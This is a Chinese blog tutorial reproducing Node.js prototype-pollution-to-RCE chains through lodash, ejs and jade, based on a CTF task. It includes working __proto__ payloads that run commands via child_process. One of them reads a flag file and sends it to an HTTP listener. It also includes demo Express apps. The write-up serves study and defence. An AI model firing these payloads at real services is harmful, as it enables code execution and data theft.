nodejs原型链污染复现

2022/1/25 17:34:18

本文主要是介绍nodejs原型链污染复现,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

  • lodash从污染到rce

    以code-breaking2018中的thejs为例

    • 搭环境

      在package中修改以下代码

    • 污染

      然后到baseMerge中

      继续跟进:


      发现存在原型链污染的条件:键可控且值可修改。
      相同的原理,利用lodash.mergeWith,lodash.set,lodash.setWith也可造成原型链污染。

    • rce过程

      利用lodash.template

      单步进入到这

      然后进入lodash.template中

      利用Function构造函数来执行命令。
      payload:

      {"__proto__":{"sourceURL":"xxx\r\nvar require = global.require || global.process.mainModule.constructor._load;var result = require('child_process').execSync('cat /flag_thepr0t0js').toString();var req = require('http').request(`http://localhost:12333/${result}`);req.end();\r\n"}} 
      
  • ejs实现rce

    • 环境搭建

      test.js

      var express = require('express');
      var _= require('lodash');
      	var ejs = require('ejs');
      	var app = express();
      	//设置模板的位置
          app.set('views', __dirname);
          //对原型进行污染
          var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
          _.merge({}, JSON.parse(malicious_payload));
          //进行渲染
          app.get('/', function (req, res) {
              res.render ("./test.ejs",{
                  message: 'lufei test '
              });
          });
          //设置http
          var server = app.listen(8081, function () {
              var host = server.address().address
              var port = server.address().port
              console.log("应用实例,访问地址为 http://%s:%s", host, port)
          });
      

      test.ejs

          <!DOCTYPE html>
      <html>
      <head>
      	<meta charset="utf-8">
      <title></title>
      </head>
      <body>
      <h1><%= message%></h1>
      </body>
      </html>
      

      ​ 设置debug方式如上

    • rce过程


      ​ ​ 进入response.js中
      ​ ​
      ​ ​ 进入application.js的tryRender中
      ​ ​
      ​ ​ 然后进入view.js中
      ​ ​
      ​ ​ 进入ejs.js中,准备开始渲染,先进到tryHandleCache中
      ​ ​
      ​ ​ 然后调用handleCache
      ​ ​
      ​ ​ 进入compile方法,开始渲染
      ​ ​
      ​ ​ 发现传入的outputFunctionName直接被拼接
      ​ ​
      ​ ​ 成功rce

    payload:

    {"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}
    
  • jade实现rce

    • 搭环境

      app.js

      var express = require('express');
      var lodash= require('lodash');
      var jade = require('jade');
      var app = express();
      //设置模板的位置与种类
      app.set('views', __dirname);
      app.set("view engine", "jade");
      //对原型进行污染
      var malicious_payload = '{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require(\'child_process\').execSync(\'calc\'))"}}';
      lodash.merge({}, JSON.parse(malicious_payload));
      //进行渲染
      app.get('/', function (req, res) {
        res.render ("index.jade",{
            message: 'whoami test'
      });
      });
      //设置http
      var server = app.listen(8000, function () {
      var host = server.address().address
      var port = server.address().port
      console.log("应用实例,访问地址为 http://%s:%s", host, port)
      });
      

      ​ index.jade

      h1 #{message}
      p #{message}
      
    • rce过程

      刚开始和ejs的很像,从response.js开始,每次进入下一个render函数中。

      ​然后进入index.js中

      ​ 进入handleTemplateCache中

      ​ 进入complie中并进行parsed解析

      ​ 然后通过原型链污染绕过进入这个if语句

      ​ 解析完之后再看compile部分

      ​ 进入compiler.js中

      ​ 在这里进行了AST的解析,把最后的结果放进buf中,关注visit函数,如果这里的debug为真,那么就可以拼接传入的line,从而实现rce。

      payload:

      {"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('calc'))"}}```
      
参考文献:

https://www.anquanke.com/post/id/248170#h2-10



这篇关于nodejs原型链污染复现的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程